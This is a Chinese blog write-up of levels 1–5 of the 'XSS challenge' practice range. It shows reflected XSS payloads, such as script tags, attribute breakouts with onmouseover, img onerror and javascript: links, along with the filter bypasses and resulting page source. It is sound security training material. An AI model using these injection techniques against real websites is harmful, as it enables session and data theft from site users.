

XSS平台 XSS挑战之旅 解题记录 writeup

原创

[Senimo_](#) 于 2019-08-03 17:08:33 发布 1359 收藏 13

分类专栏: [靶场搭建与使用](#) 文章标签: [XSS平台](#) [XSS writeup](#) [CTF](#) [解题记录](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44037296/article/details/98342199

版权



[靶场搭建与使用](#) 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

XSS平台 XSS挑战之旅 解题记录 writeup

[level1](#)

[level2](#)

[level3](#)

[level4](#)

[level5](#)

[level6](#)

[level7](#)

[level8](#)

[level9](#)

[level10](#)

[level11](#)

[level12](#)

[level13](#)

欢迎来到XSS挑战

CHALLENGE ACCEPTED



点击图片开始你的XSS之旅吧![kin_44037296](#)

[XSS挑战之旅](#)是一个练习简单XSS脚本注入的平台，通过检测弹窗判断用户是否通关。

但前几关存在bug，只要在网页源码图片链接处插入JavaScript代码即可产生弹窗，达到通关的目的。

注：Google Chrome存在过滤弹窗，用Firefox浏览器。

```
<center></center> //源码  
<center><img src=x onerror=alert(1)></center> //将其修改为这样即可bug 通关
```

详尽的XSS跨站脚本攻击请看：[XSS跨站脚本攻击原理与常见的脚本及《XSS跨站脚本攻击剖析与防御》摘录总结](#)

level1

欢迎来到level1

欢迎用户test



payload的长度:4 sdn.net/weixin_44037296

页面中没有输入点，但发现通过地址栏传入的参数'**name=test**'会回显在页面，

```
http://test.xss.tv/level1.php?name=test
```

尝试通过在URL中构造payload完成XSS攻击：

```
http://test.xss.tv/level1.php?name=<script>alert(1);</script>
```

触发弹窗，完成的不错！通关。

level2

欢迎来到level2

没有找到和test相关的结果.



<https://b> payload的长度:444037296

页面存在输入框，搜索的数据在页面有回显，在搜索框构造payload并提交：

```
<script>alert(1);</script>
```

返回的页面并没有触发弹窗，查看网页源代码：

```
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1);</script>">
```

发现在<h2>标签中，‘<>’符号被转译，但在<input>标签中‘value’的值完整显示了输入的payload，尝试闭合value的值，在输入框重新构造xss注入代码：

```
"><script>alert(1);</script>
// 提交后源码变为:
<input name=keyword value=""><script>alert(1);</script>">
```

触发弹窗，完成的不错！通关。

level3

欢迎来到level3

没有找到和相关的结果.

Level (3)[®]

payload的长度:0 https://www.cnblogs.com/bug.csdn.net/weixin_44037296

页面存在输入框，搜索的数据在页面有回显，在搜索框构造payload并提交：

```
<script>alert(1);</script>
```

返回的页面并没有触发弹窗，查看网页源代码：

```
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert(1);</script>'
```

发现在<h2>和<input>标签中，‘<>’符号均被转译，尝试搜索“</()>”，在网页源代码查看符号被转译的情况，发现‘<>’被编码

```
<h2 align=center>没有找到和'</()>'相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='</()>'
```

尝试闭合‘value’的值，通过事件触发弹窗，在输入框构造新的payload：

```
' onmouseover='alert(1)
// 提交后源码变为:
<input name=keyword value='' onmouseover='alert(1)'
```

鼠标移到输入框便触发事件产生弹窗，完成的不错！通关。

level4

欢迎来到level4

没有找到和try harder!相关的结果.



http://payload的长度:11 44037296

页面存在输入框，搜索的数据在页面有回显，尝试搜索“</()>”，在网页源代码中查看符号被转译的情况，

```
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和'</()>'相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="</()>">
```

发现在<h2>标签中，'<'>被编码，<input>标签里'value'中的'<'>被替换为空白，尝试闭合'value'的值，通过事件触发弹窗，在输入框构造新的payload:

```
" onmouseover="alert(1)
// 提交后源码变为:
<input name=keyword value="" onmouseover="alert(1)">
```

鼠标移到输入框便触发事件产生弹窗，完成的不错！通关。

level5

欢迎来到level5

没有找到和find a way out!相关的结果.



payload的长度:15 https://blog.csdn.net/weixin_44037296

页面存在输入框，搜索的数据在页面有回显，尝试搜索“</()>”，在网页源代码中查看符号被转译的情况，

```
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和'</()>'相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="</()>">
```

搜索"onmouseover"和'<script>alert(1);</script>'，在网页源代码中查看符号被转译的情况，

```
<input name=keyword value="o_nmouseover">
<input name=keyword value="<scr_ipt>alert(1);</script>">
```

发现在<h2>标签中，'<'>'被编码，<input>标签里'value'中的'onmouseover'被替换为'o_nmouseover'，'script'被替换为scr_ipt，尝试闭合'value'的值，通过标签中的引用属性，在输入框构造新的payload:

```
"><a href="javascript:alert(1);">aaa</a>
// 提交后源码变为:
<input name=keyword value=""><a href="javascript:alert(1);">aaa</a>">
```

没有找到和">aaa相关的结果.



通过点击aaa链接，触发javascript脚本引用属性产生弹窗，完成的不错！通关。

[level6](#)

[level7](#)

level8

level9

level10

level11

level12

level13